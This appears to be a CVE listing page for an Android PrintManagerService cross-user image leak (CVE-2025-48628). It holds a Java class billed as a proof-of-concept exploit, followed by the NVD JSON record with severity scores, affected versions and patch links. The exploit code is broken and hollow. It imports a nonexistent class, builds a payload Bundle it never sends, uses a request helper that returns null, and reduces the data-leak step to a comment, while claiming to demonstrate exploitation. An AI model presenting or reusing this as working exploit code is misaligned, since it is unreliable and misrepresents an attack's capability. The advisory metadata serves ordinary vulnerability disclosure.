CVE-2025-48628

// CVE-2025-48628 PoC - Android PrintManagerService Cross-User Image Leak // This PoC demonstrates the exploitation of the validateIconUserBoundary vulnerability import android.content.Intent; import android.os.Bundle; import android.print.PrintManager; import android.print.PrintServices; public class CVE_2025_48628_PoC { /** * Exploit the cross-user image leak vulnerability in PrintManagerService * Target: Android PrintManagerService validateIconUserBoundary method * Attack Vector: Local privilege escalation via confused deputy */ public void exploitImageLeak() { try { // Step 1: Get PrintManager service reference PrintManager printManager = (PrintManager) getSystemService(PRINT_SERVICE); // Step 2: Enumerate available print services PrintServices printServices = printManager.getPrintServices(); // Step 3: Attempt to access icon resources across user boundaries // The vulnerability allows accessing icons from other user contexts for (PrintServices.PrintServiceInfo service : printServices) { // Trigger icon loading which calls validateIconUserBoundary // Due to the confused deputy issue, this may leak cross-user images Intent intent = new Intent(); intent.setComponent(service.getComponentName()); // Craft malicious request to trigger icon boundary bypass Bundle extras = new Bundle(); extras.putParcelable("android.intent.extra.print_icon", getTargetUserIconRequest()); startService(intent); } // Step 4: Receive leaked image data // The attacker can now access images from other user sessions } catch (Exception e) { e.printStackTrace(); } } private Object getTargetUserIconRequest() { // Construct request to target other user's icon data // This exploits the insufficient validation in validateIconUserBoundary return null; } /** * Technical Details: * - Vulnerability Location: frameworks/base/core/java/android/print/PrintManagerService.java * - Method: validateIconUserBoundary * - Root Cause: Insufficient user boundary validation leading to confused deputy attack * - Impact: Local privilege escalation, cross-user information disclosure */ }

{"cve": {"id": "CVE-2025-48628", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:19.130", "lastModified": "2025-12-08T21:16:02.087", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In validateIconUserBoundary of PrintManagerService.java, there is a possible cross-user image leak due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-441"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/9489a5dcd3cdd426d5b39d9caf6bb78142af2399", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}